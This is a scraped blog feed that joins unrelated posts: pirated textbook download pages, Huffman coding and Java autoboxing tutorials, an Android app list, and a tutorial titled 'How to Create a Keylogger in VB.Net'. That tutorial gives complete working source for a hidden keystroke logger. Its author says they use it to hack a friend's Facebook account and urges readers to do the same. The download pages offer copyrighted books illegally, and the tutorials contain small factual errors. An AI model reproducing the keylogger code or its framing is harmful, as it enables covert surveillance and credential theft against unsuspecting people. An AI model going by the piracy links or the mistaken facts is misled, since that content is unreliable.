Programming with Java by E Balagurusamy Pdf Free Download

The various programming books written by E Balagurusmy are in the list of most popular and top selling books in India. In this article I am sharing the link for Programming with Java by E Balagurusamy Pdf Free Download. This book will help you in learning java programming in very easy manner.

Also Read: Object Oriented Programming With C++ 4th Edition By E Balaguruswamy Free eBook Download

TABLE OF CONTENTS
Chapter 1 Fundamentals of Object-Oriented Programming
Chapter 2 JAVA Evolution
Chapter 3 Overview of JAVA Language
Chapter 4 Constants, Variables, and Data Types
Chapter 5 Operators and Expressions
Chapter 6 Decision Making and Branding
Chapter 7 Decision Making and Looping
Chapter 8 Classes, Objects and Methods
Chapter 9 Arrays, Strings and Vectors
Chapter 10 Interfaces: Multiple Inheritance
Chapter 11 Packages: Putting Classes Together
Chapter 12 Multi threaded Programming
Chapter 13 Managing Errors and Exceptions
Chapter 14 Applet Programming
Chapter 15 Graphics Programming
Chapter 16 Managing Input/Output Files in JAVA
Chapter 17 Assertion and Design by Contract
Chapter 18 JAVA Collections
Appendix A : JAVA Language Reference
Appendix B : JAVA Keywords
Appendix C : Differences Between JAVA and C/C++
Appendix D : Bit-Level Programming
Appendix E : JAVA API Packages
Appendix F : JAVA Classes and Their Packages
Appendix G : What's New in Java 1.1 and Java 2
Appendix H : Deprecated Classes and Methods
Appendix I : Statistics of Java Packages
Appendix J : S C J P Exam Model Questions
Appendix K : Points to Remember
Appendix L: Common Coding Errors
Appendix M: Glossary of JAVA Terms
Appendix N: Projects
Bibliography
Index


Programming with Java by E Balagurusamy Pdf Free Download

Book Name: Programming with Java : A Primer 3rd Edition
Author: E Balagurusamy
Size: 16.7MB


- Programming with Java by E Balagurusamy Pdf Free Download -

Huffman Coding Algorithm With Example

Huffman coding algorithm was invented by David Huffman in 1952. It is an algorithm which works with integer length codes. A Huffman tree represents Huffman codes for the character that might appear in a text file. Unlike to ASCII or Unicode, Huffman code uses different number of bits to encode letters. If the number of occurrence of any character is more, we use fewer numbers of bits. Huffman coding is a method for the construction of minimum redundancy codes.


Huffman tree can be achieved by using compression technique. Data compression have lot of advantages such as it minimizes cost, time, bandwidth, storage space for transmitting data from one place to another.

In regular text file each character would take up 1 byte (8 bits) i.e. there are 16 characters (including white spaces and punctuations) which normally take up 16 bytes. In the ASCII code there are 256 characters and this leads to the use of 8 bits to represent each character but in any test file we do not have use all 256 characters. For example, in any English language text, generally the character ‘e’ appears more than the character ‘z’. To achieve compression, we can often use a shorter bit string to represent more frequently occurring characters. We do not have to represent all 256 characters, unless they all appear in the document. The data encoding schemes broadly categorized in two categories.

Fixed Length Encoding Scheme

Fixed length encoding scheme compresses our data by packing it into the minimum number of bits i.e. needed to represent all possible values of our data. The fixed length code can store maximum 224,000 bits data.

Variable Length Encoding Scheme

In variable length encoding scheme we map source symbol to variable number of bits. It allows source to be compressed and decompressed with zero error.

Construction of Huffman Code

A greedy algorithm constructs an optimal prefix code called Huffman code. The algorithm builds the tree T corresponding to the optimal code in a bottom-up manner. It begins with a set of |C| leaves (C is the number of characters) and perform |C| - 1 ‘merging’ operations to create the final tree. In the Huffman algorithm ‘n’ denotes the number of set of characters, z denotes the parent node and x & y are the left & right child of z respectively.


Huffman (C)
1. n=|C|
2. Q=C
3. for i=1 to n-1
4. do
5. z=allocate_Node()
6. x=left[z]=Extract_Min(Q)
7. y=right[z]=Extract_Min(Q)
8. f[z]=f[x]+f[y]
9. Insert(Q,z)
10. return Extract_Min(Q)

Analysis

The Q is initialized as a priority queue with the character C.
Q=C can be performed by using Build_Heap in O(n) time.
For loop takes (|n|-1) times because each heap operation requires O(log n) time.
Hence the total running time of Huffman code on the set of n characters is O(n log n).

Method

The following general procedure is applied for construction a Huffman tree:
Search for the two nodes having the lowest frequency, which are not yet assigned to a parent node.
Couple these nodes together to a new interior node.
Add both the frequencies and assign this value to the new interior node.
The procedure has to be repeated until all nodes are combined together in a root node.

Huffman Coding Example

Construct a Huffman tree by using these nodes.

Value
A
B
C
D
E
F
Frequency
5
25
7
15
4
12

Solution:

Step 1: According to the Huffman coding we arrange all the elements (values) in ascending order of the frequencies.

Value
E
A
C
F
D
B
Frequency
4
5
7
12
15
25

Step 2: Insert first two elements which have smaller frequency.

Huffman Coding Algorithm With Example
Value
C
EA
F
D
B
Frequency
7
9
12
15
25

Step 3: Taking next smaller number and insert it at correct place.

Huffman Coding Algorithm With Example
Value
F
D
CEA
B
Frequency
12
15
16
25

Step 4: Next elements are F and D so we construct another subtree for F and D.
Huffman Coding Algorithm With ExampleHuffman Coding Algorithm With Example
Value
CEA
B
FD
Frequency
16
25
27

Step 5: Taking next value having smaller frequency then add it with CEA and insert it at correct place.

Huffman Coding Algorithm With Example
Value
FD
CEAB
Frequency
27
41

Step 6: We have only two values hence we can combined by adding them.

Huffman Coding Algorithm With Example
Huffman Tree

Value
FDCEAB
Frequency
68

Now the list contains only one element i.e. FDCEAB having frequency 68 and this element (value) becomes the root of the Huffman tree.

If you find anything missing or incorrect in above tutorial then please mention it by commenting below.

Head First JavaScript Pdf Download

Head First JavaScript by Michael Morrison is a awesome book for learning JavaScript in easy way. In this article I am sharing the link for Head First JavaScript Pdf download.

Table of Contents

Chapter 1: Getting your feet wet

Chapter 2: Going further

Chapter 3: Getting functional

Chapter 4: Arrays

Chapter 5: A trip to Objectville

Chapter 6: Getting to know the DOM

Chapter 7: Serious types

Chapter 8: Building an app

Chapter 9: Handling events

Chapter 10: Liberated functions

Chapter 11: Serious functions

Chapter 12: Creating objects

Chapter 13: Extra strength objects

Appendix Leftovers: The top ten topics (we didn’t cover)

Colophon

Head First JavaScript Pdf Download

Name: Head First JavaScript
Author: Michael Morrison
Size: 51.2MB

- Head First JavaScript Pdf Download -

How to Create a Keylogger in VB.Net?

In this article we are going to be a Mastermind Hacker & develop our own Hacking Program. This article is on how to create a keylogger in vb.net. First of all lets take a look on what a keylogger is.

What is a Keylogger?

Keylogger is a program that records every keyboard keys pressed by a computer user. It is mostly used by hackers to steal confidential information like password, credit card credentials, etc.

Note: This article is only for educational purpose. I am not responsible for anything you do illegal with this program.

Also Read: How to Make a Tic Tac Toe Game in VB.Net

So apart from hacking credit card credentials I usually used keylogger to hack my friend’s facebook account. That’s why I have given you the source code so that you can also do the same. Visit below link for keylogger free download.

- Keylogger Free Download -



How to Create a Keylogger in VB.Net?

How to Create a Keylogger in VB.Net

1. So lets begin with designing the GUI (Graphical User Interface). First of all open Visual Studio & create a new project.

2. Now add 3 Buttons from Toolbox and name them Start, Stop & Hide. Start button will help us to start recording the keystrokes pressed. Stop will help us to stop recording the keystrokes and the best one is Hide, it will help us to make our keylogger invisible (it will run in background).

3. Now add a RichTextBox – This will help us to display the recorded Keystrokes.

4. Add a timer and set its interval to 170 (Don’t enable the timer). Our GUI designing is completed, now we need to write our code.

5. Double click the form so that you can switch to code view, now clear all the code and paste the following code:

Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
    Public log As String
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Start()
        Button1.Text = "Started !"
        Button2.Text = "Stop Recording"
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Timer1.Stop()
        Button1.Text = "Start Recording"
        Button2.Text = "Stopped !"

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If (GetAsyncKeyState(65)) Then
            log = log + "A"
        ElseIf (GetAsyncKeyState(66)) Then
            log = log + "B"
        ElseIf (GetAsyncKeyState(67)) Then
            log = log + "C"
        ElseIf (GetAsyncKeyState(68)) Then
            log = log + "D"
        ElseIf (GetAsyncKeyState(69)) Then
            log = log + "E"
        ElseIf (GetAsyncKeyState(70)) Then
            log = log + "F"
        ElseIf (GetAsyncKeyState(71)) Then
            log = log + "G"
        ElseIf (GetAsyncKeyState(72)) Then
            log = log + "H"
        ElseIf (GetAsyncKeyState(73)) Then
            log = log + "I"
        ElseIf (GetAsyncKeyState(74)) Then
            log = log + "J"
        ElseIf (GetAsyncKeyState(75)) Then
            log = log + "K"
        ElseIf (GetAsyncKeyState(76)) Then
            log = log + "L"
        ElseIf (GetAsyncKeyState(77)) Then
            log = log + "M"
        ElseIf (GetAsyncKeyState(78)) Then
            log = log + "N"
        ElseIf (GetAsyncKeyState(79)) Then
            log = log + "O"
        ElseIf (GetAsyncKeyState(80)) Then
            log = log + "P"
        ElseIf (GetAsyncKeyState(81)) Then
            log = log + "Q"
        ElseIf (GetAsyncKeyState(82)) Then
            log = log + "R"
        ElseIf (GetAsyncKeyState(83)) Then
            log = log + "S"
        ElseIf (GetAsyncKeyState(84)) Then
            log = log + "T"
        ElseIf (GetAsyncKeyState(85)) Then
            log = log + "U"
        ElseIf (GetAsyncKeyState(86)) Then
            log = log + "V"
        ElseIf (GetAsyncKeyState(87)) Then
            log = log + "W"
        ElseIf (GetAsyncKeyState(88)) Then
            log = log + "X"
        ElseIf (GetAsyncKeyState(89)) Then
            log = log + "Y"
        ElseIf (GetAsyncKeyState(90)) Then
            log = log + "Z"
        ElseIf (GetAsyncKeyState(48)) Then
            log = log + "0"
        ElseIf (GetAsyncKeyState(49)) Then
            log = log + "1"
        ElseIf (GetAsyncKeyState(50)) Then
            log = log + "2"
        ElseIf (GetAsyncKeyState(51)) Then
            log = log + "3"
        ElseIf (GetAsyncKeyState(52)) Then
            log = log + "4"
        ElseIf (GetAsyncKeyState(53)) Then
            log = log + "5"
        ElseIf (GetAsyncKeyState(54)) Then
            log = log + "6"
        ElseIf (GetAsyncKeyState(55)) Then
            log = log + "7"
        ElseIf (GetAsyncKeyState(56)) Then
            log = log + "8"
        ElseIf (GetAsyncKeyState(57)) Then
            log = log + "9"
        ElseIf (GetAsyncKeyState(96)) Then
            log = log + "{Num0}"
        ElseIf (GetAsyncKeyState(97)) Then
            log = log + "{Num1}"
        ElseIf (GetAsyncKeyState(98)) Then
            log = log + "{Num2}"
        ElseIf (GetAsyncKeyState(99)) Then
            log = log + "{Num3}"
        ElseIf (GetAsyncKeyState(100)) Then
            log = log + "{Num4}"
        ElseIf (GetAsyncKeyState(101)) Then
            log = log + "{Num5}"
        ElseIf (GetAsyncKeyState(102)) Then
            log = log + "{Num6}"
        ElseIf (GetAsyncKeyState(103)) Then
            log = log + "{Num7}"
        ElseIf (GetAsyncKeyState(104)) Then
            log = log + "{Num8}"
        ElseIf (GetAsyncKeyState(105)) Then
            log = log + "{Num9}"
        ElseIf (GetAsyncKeyState(106)) Then
            log = log + "{Num*}"
        ElseIf (GetAsyncKeyState(107)) Then
            log = log + "{Num+}"
        ElseIf (GetAsyncKeyState(13)) Then
            log = log + "{Enter}"
        ElseIf (GetAsyncKeyState(109)) Then
            log = log + "{Num-}"
        ElseIf (GetAsyncKeyState(110)) Then
            log = log + "{Num.}"
        ElseIf (GetAsyncKeyState(111)) Then
            log = log + "{Num/}"
        ElseIf (GetAsyncKeyState(32)) Then
            log = log + " "
        ElseIf (GetAsyncKeyState(8)) Then
            log = log + "{Backspace}"
        ElseIf (GetAsyncKeyState(9)) Then
            log = log + "{Tab}"
        ElseIf (GetAsyncKeyState(16)) Then
            log = log + "{Shift}"
        ElseIf (GetAsyncKeyState(17)) Then
            log = log + "{Control}"
        ElseIf (GetAsyncKeyState(20)) Then
            log = log + "{Caps}"
        ElseIf (GetAsyncKeyState(27)) Then
            log = log + "{Esc}"
        ElseIf (GetAsyncKeyState(33)) Then
            log = log + "{PGup}"
        ElseIf (GetAsyncKeyState(34)) Then
            log = log + "{PGdn}"
        ElseIf (GetAsyncKeyState(35)) Then
            log = log + "{End}"
        ElseIf (GetAsyncKeyState(36)) Then
            log = log + "{Home}"
        ElseIf (GetAsyncKeyState(37)) Then
            log = log + "{LArrow}"
        ElseIf (GetAsyncKeyState(38)) Then
            log = log + "{UArrow}"
        ElseIf (GetAsyncKeyState(39)) Then
            log = log + "{RArrow}"
        ElseIf (GetAsyncKeyState(40)) Then
            log = log + "{DArrow}"
        ElseIf (GetAsyncKeyState(45)) Then
            log = log + "{Insert}"
        ElseIf (GetAsyncKeyState(46)) Then
            log = log + "{Del}"
        ElseIf (GetAsyncKeyState(144)) Then
            log = log + "{NumLock}"
        ElseIf (GetAsyncKeyState(188)) Then
            log = log + "{,}"
        End If
        RichTextBox1.Text = log
        Dim hotkey1 As Boolean
        hotkey1 = GetAsyncKeyState(Keys.K)
        If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.ShiftKeyDown AndAlso hotkey1 Then
            Me.Visible = True
            Me.ShowInTaskbar = True
        End If
    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        MsgBox("Press Ctrl+Shift+K to make keylogger visible !", MsgBoxStyle.Information)
        Me.Visible = "false"
        Me.ShowInTaskbar = "false"
    End Sub
End Class

Quick Tip: If you are facing any error then make sure your form Name is Form1.


How to Use Keylogger?

Top 100 Android Apps 2014

Perhaps you, as the owner of an Android device, have heard all this talk about the latest Apple offering IOS 8 and a number of other developments outside your favorite operating system. Take my word that those are just passing glances, for here is a mind-blowing list of the top 100 Android Apps 2014 on Google Play Store that you may not have yet tried. Here, then, is a line or two for some of these applications.

Also Read: The Top 8 Best Alternatives to Google Play Store to Download Android Apps for Free
Top 100 Android Apps 2014

Hangouts: a free app for sending instant message and video chat to the Google community.

Viber: Free Messages & Calls: other than using a smart-phone, you can send SMSs via your desktop.

TextSecure: Private SMS/MMS: a free app that encrypts all messages out of sight from spies.

RedPhone: Secure Calls: an extension of Text Secure that encrypts your voice calls.

Wickr: a free service that encrypts your private messages and renders them non-existent to others.

Facebook: this Android application brings your favorite social network for chatting.

Circle of 6: a fee app that can send half-a-dozen messages in emergency situations.

Plume for Twitter: a free tool that enables you to change settings for sending Twitter messages.

Tumblr: a well known app for re-blogging, and sharing photos and other unique moments.

Avast! Mobile Security: a free application that manages your security, even your other apps, and batteries among others.

Bitdefender Mobile Security & Antivirus: besides providing safety on your phone, this app also has a locking icon for other apps.

Lookout Security & Antivirus Premium: At three-dollars, this long-term app is an anti-malware tool.

LastPass Password Mgr Premium: retrieve and create fresh passwords across gadgets using this one-dollar app.

Mr. Number-Block Calls, texts: An uncharged application that keeps unwanted callers and message-senders out.

Orbot: Proxy with Tor: a free application that lets you into the Dark Web and helps you to retain
private browsing.

Hotspot Shield VPN for Android: a free app that encrypts all your personal info, including banking.

Also Read: Top 5 Best and Cheapest Android Phones Below Rs. 5000 in 2014

Noom Weright Loss Coach: at $9.99 each month, this tool provides all-round fitness tips daily.

WebMD for Android: a free app that hints at what you may be suffering from medically.

Runtastic Pro: at $4.99, this fitness tool helps you to keep in touch with your running paths, using imbedded maps.

Zombies, Run!: available at $3.99, this tool brings horror into your exercise routine through voice-
overs that will definitely accelerate your activity.

SleepBot-Sleep Cycle Alarm: a free app that keeps a check on your senses when you are sound asleep.

Period Tracker Deluxe: for $1.99, as a woman, you can use this app for tracking your womb's condition.

Calorie Counter-MyFitnessPal: a free application for getting on with exercise by counting calories.

Yelp: this application is a better gossip than your unreliable pals.

Seamless Food Delivery/Takeout: a free food-ordering service.

Pepperplate Recipe, Meu & Cooking planner: This free application enables you to get your cuisines and recipes easily.

Allthecooks Recipes: a free app that gives you an array of one-hundred-and-fifty recipes.

Untappd-Discover Beer: a free application where you can log any new brew you find.

iOnRoad Augmented Driving: a free app that uses machine intelligence to warn of near-collision situations.

Google Goggles: a free app that lets your Android camera shoot unknown-language photos, while Google translates them.

Field Trip: a free app that is great for start-up historians and other field trackers.

Google Maps: an free service that acts as your geo-locator.

Uber: you can use this free app to get the nearest cab of your choice to come for you.

Google Translate: a free application that enables you to converse with the locals.

Duolingo: a free app that also teaches you to get lessons on foreign tongues.

ShopAdvisor: a free app that shops with you, through analytical suggestions.

Groupon: a free app that seeks and finds the best deals for users in, say, restaurants.

Pinterest: a free app that lets you to pin your favorites on thematic banners.

Amazon: a free app into one of the net's primary marketplaces.


Other Apps in Top 100 Android Apps 2014 List

Google Wallet, Foursquare, Comics, Flipboard, Google Play Newsstand, Umano, Pocket, ESPN ScoreCenter, Caliber Companion, OverDrive Media Console, Kindle, Stitcher Radio-News & Talk, viaProtect, Nova Launcher Prime, SwiftKey Keyboard, Swype Keyboard, Tasker, Netgear Wifi Analytics, SnapPea, ASTRO File Manager with Clouds, Usemon (CPU Usage Monitor), Dropbox, Firefox, Opera Browser for Android, Opera Mini Browser for Android, Dolphin Browser, Weather Underground, Wikipedia, Mint, Check, Rescue Time-Work Smart, OfficeSuite Pro, Quickoffice, SugarSync, eFax, Adobe Reader, Pushbullet, Google Drive, Evernote, Any.do To-do List & Task List, EasilyDo, Mailbox, Trello-Organize Anything, Asana, DEaDBeef Player, Bandcamp, Netflix, Spotify,Slacker Radio, OnLive, Hulu Plus, Songkick Concerts, Instagram, Pixlr Express, SnapSpeed, Vine Flickr, Writing Challenge, Flava/Note Journal, SketchBook Mobile Express, and Adobe Photoshop Express 2.0.

Author Bio:
Austen Selby is currently working as a Content Editor at Key Difference.Her areas of expertise encompass business consulting, SMO, mobile technology, SEO and other technology and marketing services related topics.

Autoboxing and Unboxing in Java

Autoboxing and Unboxing in Java

Before understanding autoboxing and unboxing in java we must know what is wrapper class. So lets take a look on it.

Wrapper Class

A wrapper class wraps around a primitive data type and gives it an object appearance. This wrapper class object can be used whenever the primitive data type is required as an object.

Autoboxing in Java

The process of converting primitive data type into wrapper class object automatically is known as autoboxing. This feature was added from JDK 1.5.

The example for autoboxing is given below. Till JDK 1.4 we have to manually do the conversion of primitive data type into wrapper class and vice-versa using wrapper class method but from JDK 1.5 it is done automatically.

Till JDK 1.4

int x=10;
Integer i=new Integer(x);  //boxing

From JDK 1.5

int x=10;
Integer i=x;         //autoboxing

Unboxing in Java

The process of converting wrapper class object into primitive data type automatically is called unboxing.

Till JDK 1.4

int x=10;
Integer i=new Integer(x);   //boxing
int z=i.intValue();         //unboxing

From JDK 1.5

int x=10;
Integer i=x;         //autoboxing
int z=i;             //unboxing

A list of primitive data type with their corresponding wrapper class is given below.

Primitive Data Type
Wrapper Class
byte
Byte
short
Short
int
Integer
long
Long
float
Float
double
Double
char
Character
boolean
boolean


Autoboxing and Unboxing in Java (Wrapper Class)

Video Tutorial to Explain Autoboxing and Unboxing in Java


If you found anything wrong or missing in above tutorial then please mention it by commenting below.

Cracking the Coding Interview Pdf - 4th Edition By Gayle Laakmann

Cracking the Coding Interview written by Gayle Laakmann aims to provide all the information that are needed to prepare for an interview. This book contains 150 programming interview questions and solutions, five proven approaches for solving tough algorithm questions, ten mistakes that candidates make and how to avoid them, steps to prepare easily for behavioral and technical questions, interviewer war stories and much more. In this article I am sharing the link to download Cracking the Coding Interview Pdf.

Also Read: Introduction to Algorithms, 3rd Edition Pdf Download

Table of Contents

Foreword
Introduction
Behind the Scenes
The Microsoft Interview
The Amazon Interview
The Google Interview
The Apple Interview
The Yahoo Interview
Interview War Stories
Before the Interview
Resume Advice
Behavioral Preparation
Technical Preparation
The Interview and Beyond
Handling Behavioral Questions
Handling Technical Questions
Five Algorithm Approaches
The Offer and Beyond
Top Ten Mistakes Candidates Make
Frequently Asked Questions
Interview Questions
Data Structures
Chapter 1 | Arrays and Strings
Chapter 2 | Linked Lists
Chapter 3 | Stacks and Queues
Chapter 4 | Trees and Graphs
Concepts and Algorithms
Chapter 5 | Bit Manipulation
Chapter 6 | Brain Teasers
Chapter 7 | Object Oriented Design
Chapter 8 | Recursion
Chapter 9 | Sorting and Searching
Chapter 10 | Mathematical
Chapter 11 | Testing
Chapter 12 | System Design and Memory Limits
Knowledge Based
Chapter 13 | C++
Chapter 14 | Java
Chapter 15 | Databases
Chapter 16 | Low Level
Chapter 17 | Networking
Chapter 18 | Threads and Locks
Additional Review Problems
Chapter 19 | Moderate
Chapter 20 | Hard
Solutions
Index
Mock Interviews
About the Author

Cracking the Coding Interview Pdf - 4th Edition By Gayle Laakmann

Book Name: Cracking the Coding Interview
Author: Gayle Laakmann
Size: 4.8MB

- Download Cracking the Coding Interview Pdf -